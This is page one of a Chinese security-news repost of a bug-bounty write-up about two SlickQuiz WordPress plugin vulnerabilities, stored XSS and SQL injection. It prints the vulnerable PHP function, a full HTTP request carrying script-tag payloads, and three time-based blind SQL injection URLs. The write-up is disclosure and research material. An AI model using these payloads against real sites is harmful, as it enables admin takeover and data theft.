歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

綜合利用SlickQuiz兩個0-Day漏洞接管Uber的WordPress網站

來源:本站整理 作者:佚名 時間:2019-10-08 TAG: 我要投稿


本文講述作者在參加HackerOne的H1-4420比賽中,針對廠商Uber的某WordPress博客網站為目標,發現其內置問卷調查插件SlickQuiz最新版存在存儲型XSS(CVE-2019-12517)和SQL注入(CVE-2019-12516)兩個漏洞,通過對這兩個漏洞的綜合利用,最終獲取了目標WordPress網站的管理員憑據,實現了從普通訪問者到管理員的提權,作者也因此獲得了“最具價值黑客”(MVH)的獎勵。以下是作者在自架WordPress上對漏洞的測試分享。
SlickQuiz問卷結果保存處存在Stored XSS(CVE-2019-12517)
在對插件SlickQuiz的源碼審計中,我發現其在保存問卷結果時存在的多個明顯存儲型XSS,重要的是:無論“Save user scores”(保存用戶結果)的選項是否開啟(默認禁用),只要有問卷測驗提問出現就足以觸發這種存儲型XSS,因為“Save user scores”僅只是前端顯示的一個開啟選項。
問題出在php/slickquiz-scores.php中的generate_score_row()方法函數上(38-52行),前端用戶問卷測驗答案等相關返回給SlickQuiz的信息,未經適當的編碼和過濾驗證。以下為 generate_score_row()函數代碼:
function generate_score_row( $score )
        {
            $scoreRow = '';
            $scoreRow .= '';
            $scoreRow .= '' . $score->id . '';
            $scoreRow .= '' . $score->name . '';
            $scoreRow .= '' . $score->email . '';
            $scoreRow .= '' . $score->score . '';
            $scoreRow .= '' . $score->createdDate . '';
            $scoreRow .= '' . $this->get_score_actions( $score->id ) . '';
            $scoreRow .= '';
            return $scoreRow;
        }
由于用戶名$score->name、郵件$score->email和分數$score->score都是前端用戶可控的,所以前端用戶構造以下這種請求,就可讓后臺管理員觸發XSS實現:
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close
action=save_quiz_score&json={"name":"xssscript>alert(1)script>","email":"[email protected]>alert(2)script>","score":"script>alert(3)script>","quiz_id":1}
任何具備SlickQuiz管理權限的管理員,只要在后臺查看了用戶結果分數之后,就會觸發構造請求中的Payload:

這個漏洞已經能非常說明問題了,但我覺得可能還有更多漏洞存在。
SlickQuiz包含id參數的請求存在SQL注入漏洞(CVE-2019-12516)
經我研究發現,SlickQuiz插件只要有id參數出現的請求中,幾乎都會存在SQL注入漏洞,如構造以下5秒延遲,包含id參數的三個請求:
/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-edit&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-preview&id=(select*from(select(sleep(5)))a)
經測試顯示,它們都會出現5秒延遲:

[1] [2]  下一頁

【聲明】:黑吧安全網(http://www.gkrbnd.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        福彩原副主任